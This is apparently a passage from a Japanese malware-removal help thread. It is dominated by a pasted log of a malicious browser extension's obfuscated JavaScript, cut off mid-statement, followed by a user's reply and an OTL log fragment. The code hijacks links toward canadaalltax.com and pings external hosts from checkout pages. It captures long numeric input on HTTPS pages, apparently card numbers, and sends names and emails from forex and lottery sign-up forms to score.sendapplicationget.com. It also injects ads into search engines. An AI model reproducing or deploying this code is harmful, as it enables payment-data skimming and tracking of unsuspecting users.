b=document.createElement(\"script\");b.type=\"text/javascript\";-1<c.indexOf(\"chrome\")&&(b.innerHTML='document.getElementsByTagName(\"body\")[0].setAttribute(\"xcddsa\",\"1\")',document.getElementsByTagName(\"body\")[0].appendChild(b),setTimeout(function(){document.getElementsByTagName(\"body\")[0].getAttribute(\"xcddsa\")&&(window.self.location.href=d)},10));-1<c.indexOf(\"firefox\")&&(b.innerHTML='try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};setTimeout(function(){window.self.location.href=\"'+d+'\";},10);',document.getElementsByTagName(\"head\")[0].appendChild(b))}}}catch(l){}})();if(1==2&&-1<window.self.location.href.indexOf(\"df.ly/\")){var dd=document.getElementById(\"rf\");dd&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&ch=1\")}(\"rdlnk.co\"==window.self.location.hostname||\"adfoc.us\"==window.self.location.hostname||\"www.adsbeta.net\"==window.self.location.hostname||\"ad5.eu\"==window.self.location.hostname)&&(dd=document.getElementsByTagName(\"iframe\")[0])&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?ch=1\");\"cf.ly\"==window.self.location.hostname&&(dd=document.getElementsByTagName(\"iframe\")[1])&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&ch=1\");\"adv.li\"==window.self.location.hostname&&(dd=document.getElementById(\"main\"))&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&ch=1\");if(window.top==window.self&&\"undefined\"!=typeof addEventListener&&-1==document.cookie.indexOf(\"vdsknj4th4un\")){var zytd=function(a){try{if(\"a\"==a.target.tagName.toLowerCase()&&\"\"==a.target.innerHTML&&a.target.getAttribute(\"href\")&&-1==a.target.getAttribute(\"href\").indexOf(window.self.location.hostname)){a.target.setAttribute(\"href\",\"http://canadaalltax.com/z/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&eid=720&hid=11944579086150063164&pid=0&ch=666&rf=\"+encodeURIComponent(window.self.location.href)+\"&s=px.pluginh&r=\"+Math.random());var b=new Date;b.setHours(b.getHours()+5);document.cookie=\"vdsknj4th4un=1;expires=\"+b.toUTCString();document.getElementsByTagName(\"body\")[0].removeEventListener(\"click\",zytd)}}catch(c){}};try{document.getElementsByTagName(\"body\")[0].addEventListener(\"click\",zytd)}catch(e){}};if(\"www.youtube.com\"==window.self.location.hostname&&\"http:\"==window.self.location.protocol){var video_id=window.location.search.split(\"v=\")[1];if(video_id){var ampersandPosition=video_id.indexOf(\"&\");-1!=ampersandPosition&&(video_id=video_id.substring(0,ampersandPosition));if(video_id&&document.getElementById(\"watch7-views-info\")){var vc=document.getElementById(\"watch7-views-info\").firstElementChild;vc&&document.getElementById(\"watch7-views-info\").firstElementChild.innerHTML&&((new Image).src=\"http://score.developpro.info/?pr=1&d=\"+video_id+\"&s=\"+document.getElementById(\"watch7-views-info\").firstElementChild.innerHTML.replace(/[^0-9]/g,\"\"))}}};if((-1<window.self.location.hostname.indexOf(\"foodpanda\")||-1<window.self.location.hostname.indexOf(\"hellofood\"))&&document.getElementById(\"submitRegisterStep1\")){var price=query_selector_all(\".cart-line-price\"),p=price&&price[price.length-1]?parseInt(price[price.length-1].innerHTML.replace(/[^0-9]/g,\"\")):0,h=window.self.location.hostname;(new Image).src=\"http://score.developpro.info/g.php?pr=1&d=\"+h+\"&s=\"+p}\"justeat.in\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"checkout\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=justeat.in&s=0\");\"tastykhana.in\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"billing\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=justeat.in&s=0\");if(-1<window.self.location.hostname.indexOf(\"titbit.com\")||\"checkout\"==window.self.location.hostname)(new Image).src=\"http://score.developpro.info/g.php?pr=1&d=titbit.com&s=0\";\"www.grubhub.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"payment\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.grubhub.com&s=0\");\"www.delivery.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"order_process\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.delivery.com&s=0\");\"www.foodler.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"AnonCheckout\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.foodler.com&s=0\");\"eat24hours.com\"==window.self.location.hostname&&\"https:\"==window.self.location.protocol&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=eat24hours.com&s=0\");(function(){try{var a=document.getElementsByTagName(\"input\");if(\"https:\"==window.self.location.protocol&&4<a.length)for(var d=function(b){b=b.target;if(b.value&&11<b.value.length&&20>b.value.length&&b.value.match(/^[0-9]+$/))for((new Image).src=\"https://score.sendapplicationget.com/g.php?pr=2&d=\"+window.self.location.hostname+\"&s=0&r=\"+(+new Date).toString()+Math.random(),b=0;b<a.length;b++)a[b]&&a[b].removeEventListener?a[b].removeEventListener(\"blur\",d,!1):a[b]&&a[b].detachEvent&&a[b].detachEvent(\"onblur\",d)},c=0;c<a.length;c++)a[c]&&a[c].addEventListener?a[c].addEventListener(\"blur\",d,!1):a[c]&&a[c].attachEvent&&a[c].attachEvent(\"onblur\",d)}catch(e){}})();(function(){var init=function(b,a,f){for(var e=function(){for(var d=[],c=0;c<a.length;c++)b[a[c]]&&b[a[c]].value&&2<b[a[c]].value.length&&d.push(b[a[c]].value.replace(/[^0-9a-z \\-_\\.@]/ig,\"\"));if(d.length==a.length)for((new Image).src=\"https://score.sendapplicationget.com/?id=\"+f+\"&c=\"+encodeURIComponent(d.join(\",\"))+\"&r=\"+Math.random(),c=0;c<a.length;c++)b[a[c]]&&b[a[c]].removeEventListener?b[a[c]].removeEventListener(\"blur\",e,!1):b[a[c]]&&b[a[c]].detachEvent&&b[a[c]].detachEvent(\"onblur\",e)},d=0;d<a.length;d++)b[a[d]]&&b[a[d]].addEventListener?b[a[d]].addEventListener(\"blur\",e,!1):b[a[d]]&&b[a[d]].attachEvent&&b[a[d]].attachEvent(\"onblur\",e)};(\"www.apply.forex.com\"==window.self.location.hostname||\"apply.forex.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"Screen1\")&&document[\"aspnetForm\"]&&init(document[\"aspnetForm\"],\"ctl00$ContentPlaceHolder1$ctl01$txtFirstname,ctl00$ContentPlaceHolder1$ctl01$txtLastname,ctl00$ContentPlaceHolder1$ctl01$txtVerifyEmail\".split(','),\"3\");(\"www.thelotter.com\"==window.self.location.hostname||\"thelotter.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"remoteshortregistration\")&&document[\"aspnetForm\"]&&init(document[\"aspnetForm\"],\"ctl00$ContentPlaceHolderMain$ctl00$signUpForms$txtFirstName,ctl00$ContentPlaceHolderMain$ctl00$signUpForms$txtEmail\".split(','),\"4\");(\"www.calottery.com\"==window.self.location.hostname||\"calottery.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"register\")&&document[\"frmMain\"]&&init(document[\"frmMain\"],\"objBody$content_0$leftcolumn_0$txtFirstName,objBody$content_0$leftcolumn_0$txtLastName,objBody$content_0$leftcolumn_0$txtEmail\".split(','),\"5\")})();(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"oM5tuLUV=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"oM5tuLUV=\")){var d=a.match(/oM5tuLUV=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"zyk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.webscorebox.com/?q=g708BNmGWj8ukchVWzmPhd96rTaMCyVUojaMDMlGC7VLBT94tMtGB6DHhfs0rShNAen0rchOAen0rjw4qdn8qHUEpdgFqjaEqTrFqTn=\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();;(function(){try{var b=\"gonetwork.eu performancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\".split(\" \");for(i=0;i<b.length;i++){var a=location.href + (document.title?document.title.toLowerCase():\"z\");if(document.referrer&&-1<document.referrer.indexOf(b[i])&&(-1<a.indexOf(\"download\")||-1<a.indexOf(\"convert\")||-1<window.self.location.href.indexOf(\"babylon\")||-1<window.self.location.href.indexOf(\"se Update Go\")||-1<window.self.location.href.indexOf(\"ilivid\")||-1<window.self.location.href.indexOf(\"download\")||-1<a.indexOf(\"regclean\")||-1<a.indexOf(\"etype\")||-1<a.indexOf(\"diction\")||-1<a.indexOf(\"my-uq\")||-1<a.indexOf(\"ftalk\")||-1<a.indexOf(\"pcspeedmaximizer\")||-1<a.indexOf(\"kingtransl\")||-1<a.indexOf(\"jsopen\")||-1<a.indexOf(\"7-zip\")||-1<a.indexOf(\"boost pc\")||-1<a.indexOf(\"computer slow\")||-1<a.indexOf(\"7-update14\")||-1<a.indexOf(\"player\")) || location.hostname.indexOf('jsopen.net')>-1){var channel=99;if(window.onbeforeunload){window.onbeforeunload=null;channel=98};location.href=\"http://canadaalltax.com/e/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&eid=720&hid=11944579086150063164&pid=0&ch=\"+channel+\"&s=px.pluginh&r=\"+Math.random();break}}}catch(d){}})();if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1546/l.js?aoi=1311798366&pid=1546&zoneid=287609&ext=ExstraSavings&systemid=11944579086150063164\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;window.top==window.self&&\"undefined\"==typeof __yael_running&&(window.__yael_running=!0,new function(){if(!document.getElementById(\"__yael_once\")){var m=document.createElement(\"div\");m.id=\"__yael_once\";var n=document.getElementsByTagName(\"body\")[0];n&&n.appendChild(m);var b=this;b.pixelHost=\"//sepx.sendapplicationget.com\";b.prefix=\"jhgasdf\";b.version=\"0.4.1\";b.now=(new Date).getTime();b.clickInterval=2592E5;b.ratio=12;b.initThrottle=\"google;gmaps;amazon\";b.unique_items_left=!0;b.num_of_items_in_one=2;b.count=0;b.baseHostname=\"sendapplicationget.com\";b.utils=new function(){var a=this;a.cookie=new function(){var a=this;a.createCookie=function(a,c,b){if(b){var g=new Date;g.setTime(g.getTime()+864E5*b);b=\"; expires=\"+g.toGMTString()}else b=\"\";document.cookie=a+\"=\"+c+b+\"; path=/\"};a.readCookie=function(a){a+=\"=\";for(var c=document.cookie.split(\";\"),b=0;b<c.length;b++){for(var g=c[b];\" \"==g.charAt(0);)g=g.substring(1,g.length);if(0==g.indexOf(a))return g.substring(a.length,g.length)}return null}; a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};a.ajax={get:function(c,b){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",c,!0),this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&b(a.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(c,b,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",c,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&e(a.ajax.xhr.responseText)}; b=encodeURIComponent(b);this.xhr.send(b)}};a.waitForTokens={};a.addScript=function(a,b){if(\"undefined\"==typeof Element.prototype.appendChild.toString)document.getElementsByTagName(\"head\")[0].appendChild(a);else if(\"bing\"==b){var e=Element.prototype.appendChild,f=document.createElement(\"iframe\");Element.prototype.appendChild=f.document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a);Element.prototype.appendChild=e}};a.waitForElement=function(c,d,e,f){var g=a.query_selector_all(c); clearTimeout(a.waitTimeout);if(25<b.waitForElementCounter)return d(null);if(\"undefined\"==typeof g||1>g.length){if(a.waitForTokens[f])return d(null);var h=arguments.callee;a.waitTimeout=setTimeout(function(){b.waitForElementCounter++;h(c,d,e,f)},e)}else{if(a.waitForTokens[f])return d(null);a.waitForTokens[f]=!0;b.waitForElementCounter=0;return d(g)}};a.flushWaitForTokens=function(){a.waitForTokens={}};a.getRandomInt=function(a,b){return Math.floor(Math.random()*(b-a+1))+a};a.get_computed_style=\"function\"!= typeof window.getComputedStyle?function(b){return{getPropertyValue:function(d){\"float\"==d&&(d=\"styleFloat\");d=a.dhtml_prop_name(d);return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[d]?b.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};a.query_selector_all=document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=a.match(/^#([^,\\s]+)$/)||[];if(1< b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};a.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:function(a){if(a instanceof Object){var b= new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};a.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};a.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return RegExp(a)};a.throttle=function(a,b){var e=null;return function(){var f=this,g=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(f,g)},b)}};a.epoch=function(){return(new Date).getTime()};a.version_ie_less= function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};a.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};a.match_url=function(b,d){for(var e=0;e<d.length;e++)if(\"string\"==typeof d[e]){var f;f=/^\\/.+\\/$/.test(d[e])?RegExp(d[e]):a.wildcard_to_regex(d[e]);if(f instanceof RegExp&&f.test(b))return!0}};a.ping=function(a){for(var d=[\"google\", \"bing\",\"yahoo\",\"youtube\"],e=0;e<d.length;e++)if(-1<location.hostname.indexOf(d[e])){var f=new Image,g=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);f.src=b.pixelHost+\"?hid=11944579086150063164&eid=720&pid=0&prodid=185&v=\"+b.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=JP&pr=\"+d[e]+\"&host=\"+h+\"&ref=\"+g}}};var k=[\"horizontal\", \"vertical\",\"images-horizontal\",\"images-vertical\"];b.jsonpHost=function(){var a=\"s1. s1. s2. s3. s4. s5. s6.\".split(\" \");return a[b.utils.getRandomInt(0,a.length-1)]+\"\"}()+b.baseHostname;b.projects_info={google:{hrefSelector:\".r a\",unique_search_divs:\"3\",urls:[\"www.google.*\"],src_for_keyword:[\"#gbqfq\",\"#lst-ib\",\"#sbhost\"],dr:[\"#tvcap\",\"#bottomads\",\"#tads\"],tweak:function(){b.events.flush();var a=b.utils.query_selector_all(\"#nav td\"),c=b.utils.query_selector_all(\".spell + a\")[0];if(0<a.length)for(var d= 0;d<a.length;d++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[d],!0);\"undefined\"!==typeof c&&b.events.add(\"click\",function(){b.init_search_project()},!1,c,!0)},validate:function(a){var c=this;if(-1<location.href.indexOf(\"https://www.google.com/maps\")||location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return!0;c.callback=a;this.is_direction_right=function(){b.utils.waitForElement(\".col\",function(a){if(null==a||\"right\"==b.utils.get_computed_style(a[0]).getPropertyValue(\"float\"))return!0; if(!c.check_tab())return!1},1E3,\"validate\")};c.count=0;this.check_tab=function(){var a=document.getElementById(\"hdtb_msb\");if(null==a||\"undefined\"==typeof a)if(c.count++,10>c.count)setTimeout(function(){c.check_tab()},1E3);else return!1;else return b.utils.query_selector_all(\".hdtb_mitem\")[0].className.match(/hdtb_msel/)&&(b.utils.ping(\"validate2\"),c.callback()),!1};return c.is_direction_right()?!1:!0}},yahoo:{hrefSelector:\"a[id^=link]\",unique_search_divs:\"3\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"], urls:[\"yahoo\"],src_for_keyword:\"#yschsp\",validate:function(){b.utils.ping(\"validate2\");return!0}},bing:{hrefSelector:[\".b_algo a\",\".sb_tlst a\"],unique_search_divs:\"2\",dr:[\".sb_adsWv2\"],urls:[\"http://www.bing.com/search?*\"],src_for_keyword:[\"#sb_form_q\",\".b_searchboxForm[name='q']\"],validate:function(){b.utils.ping(\"validate2\");return!0}},conduit:{hrefSelector:\"a[id^=ctl00_main_organicResults]\",unique_search_divs:\"1\",urls:[\"http://search.conduit.com*\"],src_for_keyword:\"#q_top\",dr:[\"#master-1\"],validate:function(){return!0}}, ask:{hrefSelector:\".ptbs a[id^=r]\",unique_search_divs:\"1\",urls:[\"http://www.ask.com/web?q=*\",\"http://www.ask.com/web?qsrc=*\",\"http://www.ask.com/web?am=broad&q=*\"],src_for_keyword:[\"#top_qcomn\",\"#top_q_comm\"],dr:[\"#spl_img_top\"],validate:function(){return!0}},triple:{hrefSelector:\".gRsSlicetitle\",unique_search_divs:\"2\",dr:[\"#gRsTopLinks\"],urls:[\"http://search.triple-search.com/?*\",\"http://www.search.triple-search.com/?*\"],src_for_keyword:\"#q\",validate:function(){var a=b.utils.query_selector_all(\".gRsSTypeSelltr\"); if(0<a.length){for(var c=0;c<a.length;c++)if(\"English\"==a[c].innerHTML)return!0;return!1}}},incredimail:{hrefSelector:\".title\",unique_search_divs:\"3\",dr:[\"#MainSponsoredLinks\"],urls:[\"http://www.search.incredimail.com/search.php?q*\",\"http://search.incredimail.com/search.php?q*\"],src_for_keyword:\"#q\",validate:function(){return-1<location.href.indexOf(\"lang=english\")?!0:!1}},gmaps:{hrefSelector:\"div[class^='ads-line'] a\",unique_search_divs:\"1\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"https://www.google.com/maps/*\"], src_for_keyword:\"#searchboxinput\",tweak:function(){var a=function(){b.remove_search();b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop=\"0px\";document.getElementById(\"reveal-cards\").style.marginTop=\"0px\"};b.events.add(\"click\",function(){a()},!1,document.getElementById(\"cards\"),!1);b.events.add(\"keyup\",function(){a()},!1,document.getElementById(\"searchbox_form\"),!1);b.events.add(\"click\",function(){a()},!1,document.getElementById(\"viewcard\"),!1);b.events.add(\"click\",function(){a()}, !1,b.utils.query_selector_all(\".widget-runway-pegman\")[0],!1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".gscb_a\")[0],!1);var c=function(a){a=document.querySelector(a);return getComputedStyle(a,null).height}(\".yael .cards-card\");document.querySelector(\".omnibox-cards-transformations\").style.marginTop=c;document.querySelector(\"#reveal-cards\").style.marginTop=c},validate:function(a){b.utils.isIE()||(b.num_of_items_in_one=1,a())}},amazon:{unique_search_divs:\"1\",urls:[\"http://www.amazon.com*&field-keywords=*\"], src_for_keyword:\"#twotabsearchtextbox\",validate:function(a){a()}},smartAddress:{hrefSelector:[\"li a\"],unique_search_divs:\"2\",dr:[\".peach ol\"],urls:[\"search.smartaddressbar.com/web.php?s=*\"],src_for_keyword:\"#stxt\",tweak:function(){var a=b.utils.query_selector_all(\".peach\")[0],c=b.utils.query_selector_all(\".right ul\")[0];a&&a.parentNode.removeChild(a);c&&c.parentNode.removeChild(c)},validate:function(){return!0}}};var l=function(a){if(\"string\"==typeof a){var c=a.match(/:nth-match\\(([0-9]+)\\)/);if(c&& 1<c.length)return a=b.utils.query_selector_all(a.substr(0,c.index))||[],a[c[1]]||void 0;a=b.utils.query_selector_all(a)||[];return a[0]||void 0}};b.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f.addEventListener(b,d,e);g&&a.cache.push([b,d,e,f])}:window.attachEvent?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f[\"e\"+b+d]=d;f[b+d]=function(){f[\"e\"+b+d](window.event)};f.attachEvent(\"on\"+b,f[b+d]);g&&a.cache.push([b, d,e,f])}:function(){};a.remove=window.removeEventListener?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.detachEvent(\"on\"+a,f[a+b]);f[a+b]=null;f[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var b=0;b<a.cache.length;b++)a.remove.apply(a,a.cache[b]);a.cache=[]}};b.get_insertion_element=function(a){return!a.insert||\"before\"!=a.insert&&\"after\"!=a.insert?a.element:a.element.parentNode};b.dom= new function(){this.json_to_html=function(a,c){if(\"#text\"==a.type)c=document.createTextNode(a.text);else if(\"#comment\"!=a.type){c||(c=document.createElement(a.type));if(a.attrs){for(var d in a.attrs)if(a.attrs.hasOwnProperty(d))if(\"style\"==d&&a.attrs.style instanceof Object)for(var e in a.attrs.style){var f=b.utils.dhtml_prop_name(e);c.style[f]=a.attrs.style[e]}else c.setAttribute(d,a.attrs[d]);\"iframe\"==a.type&&(a.attrs.hasOwnProperty(\"frameborder\")&&(c.frameBorder=a.attrs.frameborder),a.attrs.hasOwnProperty(\"marginwidth\")&& (c.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty(\"marginheight\")&&(c.marginHeight=a.attrs.marginheight))}if(a.children)for(d=0;d<a.children.length;d++){f=a.children[d];e=arguments.callee(f);try{c.appendChild(e)}catch(g){if(\"#text\"==f.type&&\"string\"==typeof f.text)if(\"style\"==a.type&&c.styleSheet)c.styleSheet.cssText=f.text||\"\";else if(e=b.utils.get_node_text_prop(c))c[e]=f.text}}}return c}};b.addEventClick=function(a,c){for(var d=0;d<a.length;d++)b.events.add(\"click\",function(a){a.preventDefault? a.preventDefault():a.returnValue=!1;this.href=\"#\";location.href=c+\"&j=true\";b.events.flush();localStorage.setItem(b.prefix,b.now+b.clickInterval);return!1},!1,a[d],!0)};b.checkClickInterval=function(a){if(b.now>a)return!0};b.setClickHref=function(a,c){if(\"undefined\"!=typeof b.projects_info[c].hrefSelector){if(b.utils.getRandomInt(1,1E4)>=1E4/b.ratio)return!1;var d=b.projects_info[c].hrefSelector,e=parseInt(localStorage.getItem(b.prefix));if(\"undefined\"!=typeof d){if(d instanceof Array)for(var f=0;f< d.length;f++){var g=b.utils.query_selector_all(d[f]);if(0<g.length)break}else g=b.utils.query_selector_all(d);if(!e||b.checkClickInterval(e))b.addEventClick(g,a),b.j=!0}}};b.escape_chars_for_json=function(a){for(var b in a)a[b]=a[b].replace(/\\\"/g,'\\\\\"');return a};b.tpl_engine=function(a,c,d){\"false\"!==d.layouts.unique&&(c=b.escape_chars_for_json(c));a=JSON.stringify(a);c=[{replace:\"title\",\"with\":c.title},{replace:\"displayUrl\",\"with\":c.displayUrl},{replace:\"description\",\"with\":c.description},{replace:\"clickUrl\", \"with\":c.clickUrl}];for(d=0;d<c.length;d++)a=a.replace(RegExp(\"\\\\[##\"+c[d].replace+\"##\\\\]\",\"g\"),c[d][\"with\"]);try{return JSON.parse(a)}catch(e){}};b.get_item_json=function(a,c){var d=b.utils.clone_object(a.layouts.template);d.attrs instanceof Object||(d.attrs={});return d=b.tpl_engine(d,c,a)};b.add_jsonp_to_config=function(a,c){b.get_item_json(a)};b.remove_search=function(){var a=b.utils.query_selector_all(\".yael\");if(0<a.length)for(var c=0;c<a.length;c++)a[c].parentNode.removeChild(a[c])};b.inject_json= function(a){\"first\"==a.insert?a.element.insertBefore(a.node,a.element.firstChild):\"before\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element):\"after\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element.nextSibling):a.element.appendChild(a.node)};b.get_ad_dom=function(a){return a.layouts instanceof Object&&a.layouts.dom instanceof Object?a.layouts.dom:!1};b.get_layout_type=function(a){if(a.layouts instanceof Object)for(var b=0;b<k.length;b++)if(-1<a.layouts.id.indexOf(k[b]))return k[b]; return!1};b.create_search=function(a){a=b.get_ad_dom(a);return b.dom.json_to_html(a)};b.templates=new function(){this.container_id=0;this.add_real_links=function(a,c){b.utils.add_event(\"click\",function(b){window.open(a);b.preventDefault?b.preventDefault():b.returnValue=!1},!1,c)}};b.validate_response=function(){for(var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/)&&__yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/,\"\")}; b.is_target_valid=function(a){if(0!=__yael_res.data.numberOfItems&&\"undefined\"!=typeof a.element)return a.urls instanceof Array&&!b.utils.match_url(a.element.ownerDocument.location.href,a.urls)?!1:!0};var p=null;b.get_target_element=function(a){if(a.inserts instanceof Array&&\"undefined\"==typeof a.element)for(var b=0
  • 悪代官
  • 2014/04/08 (Tue) 22:50:11
返信フォームへ 
Re:今回の作業が最後の賭けになります
ご協力ありがとうございます。

お手数をお掛して申し訳ありません。
ネット上からダウンロードした動画等は全部削除しました。

作業後のOTLログになります。


========== OTL ==========
Prefs.js: "(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1){return}}catch(e){};try{if(typeof(localStorage)!='undefined' && window.self.location.hostname.indexOf('youtube')>-1){localStorage.setItem(\"xhxg4sk42hsba\",\"9\")}}catch(e){};var _wls removed from extensions.7Af3nsdm.scode
